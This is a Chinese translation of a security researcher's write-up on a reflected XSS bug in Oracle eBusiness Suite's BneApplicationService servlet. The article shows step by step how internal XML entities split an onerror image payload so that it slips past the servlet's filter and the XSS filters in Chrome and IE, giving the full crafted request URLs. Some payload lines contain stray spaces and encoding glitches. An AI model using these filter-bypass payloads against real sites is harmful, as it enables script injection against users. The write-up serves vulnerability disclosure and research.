使用 XML 内部实体绕过 Chrome 和 IE 的 XSS 过滤器

来源:BypassingXSSFiltersusingXMLInternalEntities

原作者:DavidLitchfield (david@davidlitchfield.com)

译:Holic (知道创宇404安全实验室)

tl;dr

若 Web 应用在后端处理了一些 XML 文件,而且存在 XSS 漏洞的话,那么或许能使用 XML 实体来绕过常用 web 浏览器的 XSS 过滤器,比如Chrome, IE 和 Safari 浏览器。同样在 Firefox 浏览器下依然有效,不过显然它没有 XSS 过滤器。

绕过常用浏览器的 XSS 过滤器

Oracle's eBusiness Suite 12.x 以及更早版本中的 BneApplicationService servlet 存在跨站脚本漏洞,这个最初与外部 XML 实体漏洞(XXE)同时被发现。

如果请求以下的URL:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationS
ervice?bne:page=Bne MsgBox&bne:messagexml=XXX  

将会得到如下响应:

The following error has occurred Exception Name: oracle.apps.bne.exception.BneFatalException -oracle.apps.bne.exception.BneFatalException: XML parse error in file at line 1, character 1.Log File Bookmark: 392699

那么我们可以修改请求把它包装在一个 XML 标签中。

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplication
Service?bne:page=Bne MsgBox&bne:messagexml=<FOO>XXXXX</FOO>  

现在我们会得到以下响应:

he following error has occurred Exception Name: oracle.apps.bne.exception.BneFatalException - java.lang.ClassCastException:oracle.xml.parser.v2.XMLText cannot be cast to oracle.xml.parser.v2.XMLElementLog File Bookmark: 602808

因此我们需要弄清楚在后端的类中发生了什么。如果看源代码的话,我们将会发现在createBodyBneStyle方法中如下内容:

XMLDocument localXMLDocument = BneXMLDomUtils.parseString(this.m_messagesXML);

XMLElement localXMLElement1 =  
(XMLElement)localXMLDocument.getDocumentElement();
      NodeList localNodeList = localXMLElement1.getChildNodes();
      for (int i = 0; i < localNodeList.getLength(); i++)
      {
        String str1 = "";
        String str2 = "";
        String str3 = "";
        String str4 = null;
        String str5 = null;
        Node localNode = null;
        XMLElement localXMLElement2 = (XMLElement)localNodeList.item(i);
        NamedNodeMap localNamedNodeMap = localXMLElement2.getAttributes();
        localNode = localNamedNodeMap.getNamedItem("bne:type");
        if (localNode != null) {
          str1 = localNode.getNodeValue();
}
localNode = localNamedNodeMap.getNamedItem( b"ne:text "); if (localNode != null) {  
          str2 = localNode.getNodeValue();
        }
        localNode = localNamedNodeMap.getNamedItem("bne:value");
        if (localNode != null) {
          str3 = localNode.getNodeValue();
        }
localNode = localNamedNodeMap.getNamedItem( b"ne:cause "); if (localNode != null) {  
          str4 = localNode.getNodeValue();
        }
        localNode = localNamedNodeMap.getNamedItem("bne:action");
        if (localNode != null) {
          str5 = localNode.getNodeValue();
        }
        if ((!str1.equalsIgnoreCase("DATA")) && (str2 != ""))
        {
 localStringBuffer.append("<p><b>" + str2 + "</b></p>"); localStringBuffer.append("<p>" + str4 + "</p>");

我们可以看到,如果我们设置 bne:text的值不是词'data‘,那么它和 bne:cause的值将会返回给浏览器。这便允许我们创建一条不存在解析错误的查询字符串:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplication
Service?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a 
xmlns:bne="foo"%  
20bne:text="ABCDEF" bne:cause="GHIJKL"></bne:a ></message>  

我们马上能看到这是很容易产生 XSS 的。我们简单地试一下;我们发送 <IMG SRC=/x onerror=alert(1)> 看看发生了什么:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationS
ervice?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a 
xmlns:bne="foo" bne:text="ABCDEF" bne:cause="<IMG SRC=/x 
onerror=alert(1)>"></bne:a></message>  

Reserved program word <message><bne:a xmlns:bne="foo" bne:text="ABCDEF"bne:cause="&lt;I ... detected. Press the Back button and remove the reserved program word. Contact your system administrator if thevalue cannot be changed

OK,所以 BneApplicationService 是有我们需要绕过的内置 XSS 过滤器的。回想一下我们最初找到的XXE处理漏洞。尝试使用外部 XML 实体(测试失败,因此并不受XXE攻击影响)之后,它启发我使用内部XML实体绕过 XSS 过滤器。这将会使得我们通过分解成占位符之后重建的方法对攻击进行伪装。但我们先看看什么是不被允许的。我们先去掉第一个左尖括号:

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplication
Service?bne:page=Bne MsgBox&bne:messagexml=<message><bne:a 
xmlns:bne="foo" bne:text="ABCDEF" bne:cause="IMG SRC=/x onerror= 
alert(1)>"></bne:a></message>

Ok, 看来可行。因此绕过 BneApplicationService 内置的过滤器,我们仅需要内部 XML 实体生成左尖括号即可,因此我们天津一个内部实体叫 xxx ,分配给它尖括号的值:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE DWL [<!ENTITY 
xxx"&lt;">]>  
https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationS
ervice?bne:page=Bne MsgBox&bne:messagexml= <?xml version="1.0" 
encoding=" UTF-8"?><!DOCTYPE DWL [<!ENTITY xxx " &lt;">]>% 3Cmessage>
<bne:a xmlns:bne="foo"  bne:text="ABCDEF" bne:cause="&xxx;IMG SRC=/x 
on error=alert(1)>"></bne:a></message>

我们的 alert(1)并没有执行,可想而知,因为 Chrome 的XSS过滤器发现了攻击行为:

那么我们必须绕过 Chrome 的 XSS 过滤器了。我们同样也可以使用内部XML实体来解决。我们创建 IMG, SRC和error中的one实体。这些实体会被 web 服务器 的XML 解析器处理重组,但不会被 Chrome 当做反射型 XSS 攻击进行处理。

https://example.com/oa_servlets/oracle.apps.bne.webui.BneApplicationS
ervice?bne:page=Bne MsgBox&bne:messagexml=<?xml version="1.0" 
encoding="UT F-8"?><!DOCTYPE DWL [<!ENTITY xxx "&lt;% 22><! ENTITY 
yyy "IMG"><!ENTITY zzz "SRC "><!ENTITY ppp "one"%  3E]><message><bne: 
a xmlns:bne="foo" bne:text="ABCDEF" bne:caus e="&xxx;&yyy; &zzz;=/x 
&ppp;rror=alert(1)>"></bne:a ></message>  

在以下浏览器测试成功:Firefox version 47, Chrome 51, IE 11, Safari 9.1.1

原文发布于微信公众号 - Seebug漏洞平台(seebug_org)

原文发表时间:2016-10-21

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏数据之美

使用 django-blog-zinnia 搭建个人博客

django-blog-zinnia 虽然小巧,但是具备了个人博客应用的全部基础功能,且具有很高的拓展性,并且开箱即用。以下是官方列出的一些特性: 评论 站...

3179
来自专栏菩提树下的杨过

ActiveMQ笔记(6):消息延时投递

在开发业务系统时,某些业务场景需要消息定时发送或延时发送(类似:飞信的短信定时发送需求),这时候就需要用到activemq的消息延时投递,详细的文档可参考官网说...

3835
来自专栏草根专栏

使用Identity Server 4建立Authorization Server (1)

本文内容基本完全来自于Identity Server 4官方文档: https://identityserver4.readthedocs.io/ 官方文档很详...

51010
来自专栏NetCore

Identity Service - 解析微软微服务架构eShopOnContainers(二)

接上一篇,众所周知一个网站的用户登录是非常重要,一站式的登录(SSO)也成了大家讨论的热点。微软在这个Demo中,把登录单独拉了出来,形成了一个Service,...

2635
来自专栏逸鹏说道

并发编程~先导篇上

并发 :一个时间段中有几个程序都处于已启动运行到运行完毕之间,且这几个程序都是在同一个处理机上运行,但任一个时刻点上只有一个程序在处理机上运行。

2048
来自专栏Android常用基础

Tinker-使用教程与原理分析(上)

前面我们讲解了AndFix的使用,这篇我们来讲解下微信的Tinker热修复,相比AndFix,Tinker的功能更加全面,更主要的是他支持gradle。他不仅做...

1651
来自专栏AILearning

Apache Zeppelin 中 JDBC通用 解释器

概述 JDBC解释器允许您无缝地创建到任何数据源的JDBC连接。 在运行每个语句后,将立即应用插入,更新和升级。 到目前为止,已经通过以下测试: ...

3207
来自专栏互联网杂技

SpringBoot ( 十二 ) :SpringBoot 如何测试打包部署

有很多网友会时不时的问我,spring boot项目如何测试,如何部署,在生产中有什么好的部署方案吗?这篇文章就来介绍一下spring boot 如何开发、调试...

972
来自专栏Felix的技术分享

《一个操作系统的实现》笔记(2)--保护模式

3818
来自专栏我叫刘半仙

原荐记一次服务器被植入挖矿木马cpu飙升200%解决过程

线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序。突然一则噩耗从前线传来:网站不能访问了。 此项目是我...

4694

扫码关注云+社区

领取腾讯云代金券